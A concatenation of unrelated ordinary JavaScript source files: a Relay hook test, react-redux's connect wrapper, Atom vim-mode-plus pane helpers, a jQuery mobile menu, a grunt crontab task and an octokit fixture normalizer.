/** * Copyright (c) Facebook, Inc. and its affiliates. * * This source code is licensed under the MIT license found in the * LICENSE file in the root directory of this source tree. * * @emails oncall+relay * @flow * @format */ // flowlint ambiguous-object-type:error 'use strict'; const React = require('react'); const {useMemo} = React; const TestRenderer = require('react-test-renderer'); const invariant = require('invariant'); const useRefetchableFragmentOriginal = require('../useRefetchableFragment'); const ReactRelayContext = require('react-relay/ReactRelayContext'); const { FRAGMENT_OWNER_KEY, FRAGMENTS_KEY, ID_KEY, createOperationDescriptor, } = require('relay-runtime'); describe('useRefetchableFragment', () => { let environment; let gqlQuery; let gqlRefetchQuery; let gqlFragment; let createMockEnvironment; let generateAndCompile; let query; let variables; let renderFragment; let renderSpy; let Renderer; function useRefetchableFragment(fragmentNode, fragmentRef) { const [data, refetch] = useRefetchableFragmentOriginal( fragmentNode, fragmentRef, ); renderSpy(data, refetch); return [data, refetch]; } function assertCall(expected, idx) { const actualData = renderSpy.mock.calls[idx][0]; expect(actualData).toEqual(expected.data); } function assertFragmentResults( expectedCalls: $ReadOnlyArray<{|data: $FlowFixMe|}>, ) { // This ensures that useEffect runs TestRenderer.act(() => jest.runAllImmediates()); expect(renderSpy).toBeCalledTimes(expectedCalls.length); expectedCalls.forEach((expected, idx) => assertCall(expected, idx)); renderSpy.mockClear(); } function expectFragmentResults(expectedCalls) { assertFragmentResults(expectedCalls); } function createFragmentRef(id, owner) { return { [ID_KEY]: id, [FRAGMENTS_KEY]: { NestedUserFragment: {}, }, [FRAGMENT_OWNER_KEY]: owner.request, }; } beforeEach(() => { // Set up mocks jest.resetModules(); jest.spyOn(console, 'warn').mockImplementationOnce(() => {}); jest.mock('warning'); renderSpy = jest.fn(); const { createMockEnvironment, generateAndCompile, } = require('relay-test-utils-internal'); // Set up environment and base data environment = createMockEnvironment(); const generated = generateAndCompile( ` fragment NestedUserFragment on User { username } fragment UserFragment on User @refetchable(queryName: "UserFragmentRefetchQuery") { id name profile_picture(scale: $scale) { uri } ...NestedUserFragment } query UserQuery($id: ID!, $scale: Int!) { node(id: $id) { ...UserFragment } } `, ); variables = {id: '1', scale: 16}; gqlQuery = generated.UserQuery; gqlRefetchQuery = generated.UserFragmentRefetchQuery; gqlFragment = generated.UserFragment; invariant( gqlFragment.metadata?.refetch?.operation === '@@MODULE_START@@UserFragmentRefetchQuery.graphql@@MODULE_END@@', 'useRefetchableFragment-test: Expected refetchable fragment metadata to contain operation.', ); // Manually set the refetchable operation for the test. gqlFragment.metadata.refetch.operation = gqlRefetchQuery; query = createOperationDescriptor(gqlQuery, variables); environment.commitPayload(query, { node: { __typename: 'User', id: '1', name: 'Alice', username: 'useralice', profile_picture: null, }, }); // Set up renderers Renderer = props => null; const Container = (props: {userRef?: {...}, fragment: $FlowFixMe, ...}) => { // We need a render a component to run a Hook const artificialUserRef = useMemo( () => ({ [ID_KEY]: query.request.variables.id ?? query.request.variables.nodeID, [FRAGMENTS_KEY]: { [gqlFragment.name]: {}, }, [FRAGMENT_OWNER_KEY]: query.request, }), [], ); const [userData] = useRefetchableFragment(gqlFragment, artificialUserRef); return <Renderer user={userData} />; }; const ContextProvider = ({children}) => { const relayContext = useMemo(() => ({environment}), []); return ( <ReactRelayContext.Provider value={relayContext}> {children} </ReactRelayContext.Provider> ); }; renderFragment = (args?: { isConcurrent?: boolean, owner?: $FlowFixMe, userRef?: $FlowFixMe, fragment?: $FlowFixMe, ... }) => { const {isConcurrent = false, ...props} = args ?? {}; return TestRenderer.create( <React.Suspense fallback="Fallback"> {/* $FlowFixMe(site=www,mobile) this comment suppresses an error found improving the * type of React$Node */} <ContextProvider> <Container owner={query} {...props} /> </ContextProvider> </React.Suspense>, {unstable_isConcurrent: isConcurrent}, ); }; }); afterEach(() => { environment.mockClear(); renderSpy.mockClear(); }); // This test is only a sanity check for useRefetchableFragment as a wrapper // around useRefetchableFragmentNode. // See full test behavior in useRefetchableFragmentNode-test. it('should render fragment without error when data is available', () => { renderFragment(); expectFragmentResults([ { data: { id: '1', name: 'Alice', profile_picture: null, ...createFragmentRef('1', query), }, }, ]); }); });
version https://git-lfs.github.com/spec/v1 oid sha256:1894210fb9c310e0d6c04788c8caf9892df0e280a6bd74e1985378c04f9d4ea5 size 21664
import createStoreShape from '../utils/createStoreShape'; import shallowEqual from '../utils/shallowEqual'; import isPlainObject from '../utils/isPlainObject'; import wrapActionCreators from '../utils/wrapActionCreators'; import invariant from 'invariant'; const defaultMapStateToProps = () => ({}); const defaultMapDispatchToProps = dispatch => ({ dispatch }); const defaultMergeProps = (stateProps, dispatchProps, parentProps) => ({ ...parentProps, ...stateProps, ...dispatchProps }); function getDisplayName(Component) { return Component.displayName || Component.name || 'Component'; } // Helps track hot reloading. let nextVersion = 0; export default function createConnect(React) { const { Component, PropTypes } = React; const storeShape = createStoreShape(PropTypes); return function connect(mapStateToProps, mapDispatchToProps, mergeProps, options = {}) { const shouldSubscribe = Boolean(mapStateToProps); const finalMapStateToProps = mapStateToProps || defaultMapStateToProps; const finalMapDispatchToProps = isPlainObject(mapDispatchToProps) ? wrapActionCreators(mapDispatchToProps) : mapDispatchToProps || defaultMapDispatchToProps; const finalMergeProps = mergeProps || defaultMergeProps; const shouldUpdateStateProps = finalMapStateToProps.length > 1; const shouldUpdateDispatchProps = finalMapDispatchToProps.length > 1; const { pure = true } = options; // Helps track hot reloading. const version = nextVersion++; function computeStateProps(store, props) { const state = store.getState(); const stateProps = shouldUpdateStateProps ? finalMapStateToProps(state, props) : finalMapStateToProps(state); invariant( isPlainObject(stateProps), '`mapStateToProps` must return an object. Instead received %s.', stateProps ); return stateProps; } function computeDispatchProps(store, props) { const { dispatch } = store; const dispatchProps = shouldUpdateDispatchProps ? finalMapDispatchToProps(dispatch, props) : finalMapDispatchToProps(dispatch); invariant( isPlainObject(dispatchProps), '`mapDispatchToProps` must return an object. Instead received %s.', dispatchProps ); return dispatchProps; } function computeNextState(stateProps, dispatchProps, parentProps) { const mergedProps = finalMergeProps(stateProps, dispatchProps, parentProps); invariant( isPlainObject(mergedProps), '`mergeProps` must return an object. Instead received %s.', mergedProps ); return mergedProps; } return function wrapWithConnect(WrappedComponent) { class Connect extends Component { static displayName = `Connect(${getDisplayName(WrappedComponent)})`; static WrappedComponent = WrappedComponent; static contextTypes = { store: storeShape }; static propTypes = { store: storeShape }; shouldComponentUpdate(nextProps, nextState) { if (!pure) { this.updateState(nextProps); return true; } const storeChanged = nextState.storeState !== this.state.storeState; const propsChanged = !shallowEqual(nextProps, this.props); let mapStateProducedChange = false; let dispatchPropsChanged = false; if (storeChanged || (propsChanged && shouldUpdateStateProps)) { mapStateProducedChange = this.updateStateProps(nextProps); } if (propsChanged && shouldUpdateDispatchProps) { dispatchPropsChanged = this.updateDispatchProps(nextProps); } if (propsChanged || mapStateProducedChange || dispatchPropsChanged) { this.updateState(nextProps); return true; } return false; } constructor(props, context) { super(props, context); this.version = version; this.store = props.store || context.store; invariant(this.store, `Could not find "store" in either the context or ` + `props of "${this.constructor.displayName}". ` + `Either wrap the root component in a <Provider>, ` + `or explicitly pass "store" as a prop to "${this.constructor.displayName}".` ); this.stateProps = computeStateProps(this.store, props); this.dispatchProps = computeDispatchProps(this.store, props); this.state = { storeState: null }; this.updateState(); } computeNextState(props = this.props) { return computeNextState( this.stateProps, this.dispatchProps, props ); } updateStateProps(props = this.props) { const nextStateProps = computeStateProps(this.store, props); if (shallowEqual(nextStateProps, this.stateProps)) { return false; } this.stateProps = nextStateProps; return true; } updateDispatchProps(props = this.props) { const nextDispatchProps = computeDispatchProps(this.store, props); if (shallowEqual(nextDispatchProps, this.dispatchProps)) { return false; } this.dispatchProps = nextDispatchProps; return true; } updateState(props = this.props) { this.nextState = this.computeNextState(props); } isSubscribed() { return typeof this.unsubscribe === 'function'; } trySubscribe() { if (shouldSubscribe && !this.unsubscribe) { this.unsubscribe = this.store.subscribe(::this.handleChange); this.handleChange(); } } tryUnsubscribe() { if (this.unsubscribe) { this.unsubscribe(); this.unsubscribe = null; } } componentDidMount() { this.trySubscribe(); } componentWillUnmount() { this.tryUnsubscribe(); } handleChange() { if (!this.unsubscribe) { return; } this.setState({ storeState: this.store.getState() }); } getWrappedInstance() { return this.refs.wrappedInstance; } render() { return ( <WrappedComponent ref='wrappedInstance' {...this.nextState} /> ); } } if (process.env.NODE_ENV !== 'production') { Connect.prototype.componentWillUpdate = function componentWillUpdate() { if (this.version === version) { return; } // We are hot reloading! this.version = version; // Update the state and bindings. this.trySubscribe(); this.updateStateProps(); this.updateDispatchProps(); this.updateState(); }; } return Connect; }; }; }
const settings = require('./settings') let PaneAxis = null // Return adjacent pane of activePane within current PaneAxis. // * return next Pane if exists. // * return previous pane if next pane was not exits. function getAdjacentPane (pane) { const parent = pane.getParent() if (!parent || !parent.getChildren) return const children = pane.getParent().getChildren() const index = children.indexOf(pane) const [previousPane, nextPane] = [children[index - 1], children[index + 1]] return nextPane || previousPane } function exchangePane () { const activePane = atom.workspace.getActivePane() const adjacentPane = getAdjacentPane(activePane) // When adjacent was paneAxis, do nothing. if (!adjacentPane || adjacentPane.children) return const parent = activePane.getParent() const children = parent.getChildren() if (children.indexOf(activePane) < children.indexOf(adjacentPane)) { parent.removeChild(activePane, true) parent.insertChildAfter(adjacentPane, activePane) } else { parent.removeChild(activePane, true) parent.insertChildBefore(adjacentPane, activePane) } adjacentPane.activate() } function setFlexScaleToAllPaneAndPaneAxis (root, value) { root.setFlexScale(value) if (root.children) { for (const child of root.children) { setFlexScaleToAllPaneAndPaneAxis(child, value) } } } function forEachPaneAxis (base, fn) { if (base.children) { fn(base) for (const child of base.children) { forEachPaneAxis(child, fn) } } } function reparentNestedPaneAxis (root) { forEachPaneAxis(root, paneAxis => { const parent = paneAxis.getParent() if (parent instanceof PaneAxis && paneAxis.getOrientation() === parent.getOrientation()) { let lastChild for (const child of paneAxis.getChildren()) { if (!lastChild) { parent.replaceChild(paneAxis, child) } else { parent.insertChildAfter(lastChild, child) } lastChild = child } paneAxis.destroy() } }) } // Valid direction ["top", "bottom", "left", "right"] function movePaneToVery (direction) { if (atom.workspace.getCenter().getPanes().length < 2) return const activePane = atom.workspace.getActivePane() const container = activePane.getContainer() const parent = activePane.getParent() const originalRoot = container.getRoot() let root = originalRoot // If there is multiple pane in window, root is always instance of PaneAxis if (!PaneAxis) PaneAxis = root.constructor const finalOrientation = ['top', 'bottom'].includes(direction) ? 'vertical' : 'horizontal' if (root.getOrientation() !== finalOrientation) { root = new PaneAxis({orientation: finalOrientation, children: [root]}, atom.views) container.setRoot(root) } // avoid automatic reparenting by pssing 2nd arg(= replacing ) to `true`. parent.removeChild(activePane, true) const indexToAdd = ['top', 'left'].includes(direction) ? 0 : undefined root.addChild(activePane, indexToAdd) if (parent.children.length === 1) { parent.reparentLastChild() } reparentNestedPaneAxis(root) activePane.activate() } function equalizePanes () { const root = atom.workspace .getActivePane() .getContainer() .getRoot() setFlexScaleToAllPaneAndPaneAxis(root, 1) } function isMaximized () { return atom.workspace.getElement().classList.contains('vim-mode-plus--pane-maximized') } function maximizePane (centerPane) { if (isMaximized()) { demaximizePane() return } if (centerPane == null) centerPane = settings.get('centerPaneOnMaximizePane') const workspaceClassList = [ 'vim-mode-plus--pane-maximized', settings.get('hideTabBarOnMaximizePane') && 'vim-mode-plus--hide-tab-bar', settings.get('hideStatusBarOnMaximizePane') && 'vim-mode-plus--hide-status-bar', centerPane && 'vim-mode-plus--pane-centered' ].filter(v => v) atom.workspace.getElement().classList.add(...workspaceClassList) const activePaneElement = atom.workspace.getActivePane().getElement() activePaneElement.classList.add('vim-mode-plus--active-pane') for (const element of atom.workspace.getElement().getElementsByTagName('atom-pane-axis')) { if (element.contains(activePaneElement)) { element.classList.add('vim-mode-plus--active-pane-axis') } } } function demaximizePane () { if (isMaximized()) { const workspaceElement = atom.workspace.getElement() workspaceElement.classList.remove( 'vim-mode-plus--pane-maximized', 'vim-mode-plus--hide-tab-bar', 'vim-mode-plus--hide-status-bar', 'vim-mode-plus--pane-centered' ) for (const element of workspaceElement.getElementsByTagName('atom-pane-axis')) { element.classList.remove('vim-mode-plus--active-pane-axis') } for (const element of workspaceElement.getElementsByTagName('atom-pane')) { element.classList.remove('vim-mode-plus--active-pane') } } } module.exports = { exchangePane, movePaneToVery, equalizePanes, isMaximized, maximizePane, demaximizePane }
// mobile-menu (function() { var $mobileMenus = $('.mobile-menu'); var animSpeed = 400; if ($mobileMenus.isset()) { $mobileMenus.each(function() { var $mobileMenu = $(this); var $items = $mobileMenu.find('.mobile-menu__item'); var $submenus = $mobileMenu.find('.mobile-menu__submenu'); $items.on('click', function() { var $item = $(this); var $submenu = $item.find('.mobile-menu__submenu'); if ($submenu.isset()) { $submenu.slideDown(animSpeed); $submenus.not($submenu).slideUp(animSpeed); } }); }); } })();
var fs = require('fs'); var _ = require('lodash'); var crontab = require('crontab'); var gruntCrontab = module.exports = function gruntCrontab(grunt, options) { options = options || {}; var pkg = grunt.file.readJSON('./package.json'); var target = options.target || 'default'; var namespace = options.namespace || pkg.name + '.' + options.target; var cronfile = options.cronfile || './.crontab'; namespace || grunt.fail.warn('crontab.namespace not set'); cronfile || grunt.fail.warn('crontab.cronfile not set'); grunt.file.exists(cronfile) || grunt.fail.warn(cronfile + ' does not exist'); /** * Remove cronjobs from given crontab */ function setup(done) { crontab.load(function(err, ct) { if (err) return done(err); clean(ct); load(ct); ct.save(done); }); } function load(ct) { var jobs = readCronFile(cronfile); jobs.forEach(function(def) { validateJob(def); var comment = namespace + (def.comment ? ' - ' + def.comment : ''); grunt.log.writeln('Create', def.schedule, def.command, '#' + comment); ct.create(def.command, def.schedule, comment); }); } function clean(ct) { ct.jobs({comment: new RegExp('^' + namespace)}).forEach(ct.remove.bind(ct)); } /** * Validate a job definition. Throw exception if validation fails */ function validateJob(def) { if (!def.command) { throw new Exception('Command is missing'); } if (!def.schedule) { throw new Exception('Schedule is missing'); } } /** * Read cronjob definition file from disk. */ function readCronFile(cronfile) { var substitutes = { project: { baseDir: process.cwd() }, pkg: pkg } var content = _.template(grunt.file.read(cronfile), substitutes); return JSON.parse(content).jobs; } function task() { } return { setup: setup } } module.exports.multiTask = function(grunt) { return function() { var options = this.data; options.target = this.target; gruntCrontab(grunt, options).setup(this.async()); } }
export default normalizeCommit; import get from "lodash/get.js"; import fixturizeCommitSha from "../fixturize-commit-sha.js"; import fixturizePath from "../fixturize-path.js"; import setIfExists from "../set-if-exists.js"; function normalizeCommit(scenarioState, response) { const sha = response.sha; const treeSha = get(response, "tree.sha"); const fixturizedTreeSha = fixturizeCommitSha( scenarioState.commitSha, treeSha ); const fixturizedSha = fixturizeCommitSha(scenarioState.commitSha, sha); // fixturize commit sha hashes setIfExists(response, "tree.sha", fixturizedTreeSha); setIfExists(response, "sha", fixturizedSha); // set all dates to Universe 2017 Keynote time setIfExists(response, "author.date", "2017-10-10T16:00:00Z"); setIfExists(response, "committer.date", "2017-10-10T16:00:00Z"); // normalize temporary repository setIfExists(response, "url", fixturizePath.bind(null, scenarioState)); setIfExists(response, "html_url", fixturizePath.bind(null, scenarioState)); setIfExists(response, "tree.url", fixturizePath.bind(null, scenarioState)); }